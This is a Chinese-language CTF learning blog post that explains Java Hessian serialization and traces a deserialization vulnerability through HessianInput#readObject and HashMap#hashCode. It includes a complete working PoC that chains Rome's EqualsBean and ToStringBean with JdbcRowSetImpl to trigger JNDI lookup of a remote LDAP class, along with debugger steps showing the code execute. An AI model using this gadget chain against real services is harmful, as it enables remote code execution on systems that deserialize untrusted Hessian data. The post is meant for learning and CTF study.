Java反序列化Hessian篇之简单实现(一)

前言

前几天的D^3CTF的一道题的常规解就是用Hessian打的,这里先学习一下关于Hessian的基础。

什么是Hessian

Hessian 是一个紧凑的二进制协议,用于在各种语言之间编码和传输数据,包括 Java。由Caucho Technology开发,Hessian 主要用于远程方法调用 (remote method invocation, RMI) 这样的分布式计算场景。它基于HTTP,易于使用而且效率很高,尤其是在对带宽要求较高或是对象序列化开销较大的环境中。
Hessian 的工作方式简单来说就是将数据对象序列化为字节流,然后通过网络发送;接收方再从字节流中反序列化出原始数据对象。Java 中的 Hessian 序列化通过 HessianOutput 类实现,Hessian 反序列化则通过 HessianInput 类实现。

基本使用

环境配置

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

测试代码

实体类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.natro92;

import java.io.Serializable;

public class Hacker implements Serializable {
private String name;
private int age;

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public Hacker(String name, int age) {
this.name = name;
this.age = age;
}

public void printInfo() {
System.out.println("Name: " + name + ", Age: " + age);
}
}

Hessian自带的序列化和反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.natro92;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;

public class HessianTest implements Serializable {
// 序列化
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static void main(String[] args) throws IOException {
Hacker hacker = new Hacker("Natro92", 18);
byte[] s = serialize(hacker);
System.out.println((Hacker) deserialize(s));
}
}

image.png
Java原生的序列化和反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.natro92;

import java.io.*;

public class JavaHessianTest implements Serializable {
public static <T> byte[] serialize(T t) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(t);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
ObjectInputStream ois =new ObjectInputStream(bai);
return (T) ois.readObject();
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Hacker hacker = new Hacker("Natro92", 18);
byte[] s=serialize(hacker);
System.out.println((Hacker) deserialize(s));
}
}

image.png
能发现两段序列化出的文本长度不同。

Hessian反序列化漏洞分析

代码预览

漏洞出现在HessianInput#readObject
我们在前面运行得到的结果,能注意到开头有一个M(ASCII:77),这是因为Hessian序列化结果是一个Map。
image.png
因此在readObject 这里case进入M处:
image.png
再进入ObjectInputStream#readMap方法:
获取到Deserializer
image.png
进去getDeserializer,在这里创建了一个HashMap,并将key放入:
image.png
我们发现了熟悉的put方法,进去之后就能发现hash方法
image.png
进去之后就是熟悉的HashMap#hashcode方法:
image.png
这里我们分析下Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package com.natro92;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class HackHessian implements Serializable {

public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}

public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:4444/Exp";
jdbcRowSet.setDataSourceName(url);


ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1");

byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
}

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}

我们在4444上起一个ldap服务:
image.png
运行代码成功执行:
image.png

断点分析

断在readObject这里我们进去看看:
image.png
运行时弹出了两个计算器,这里有一个是序列化时弹得计算器。进去。
检测第一个字节是M因此进行readMap
image.png
进入ReadMap
image.png
继续由于两个判断都是null,可以走到MapDeserializer_hashMapDeserializer.readMap(in),进入_hashMapDeserializer.readMap
image.png
这里创建一个新的HashMap,作为一个临时缓存,将内容put进去。因为这里调用了两次的readObject,所以会重复。
然后就到了put这里。后面就是Rome。
image.png
image.png
hash再执行EqualsBean#hashcode
image.png
这里已经直接跳到EqualsBean了。
再进就看到了目标函数,执行了任意类的toString方法:
image.png

总结

这里暂时先到这里,发现这里用的Rome还没学,得先把那个看了,还好这里调用的比较简单,等看完那个再继续。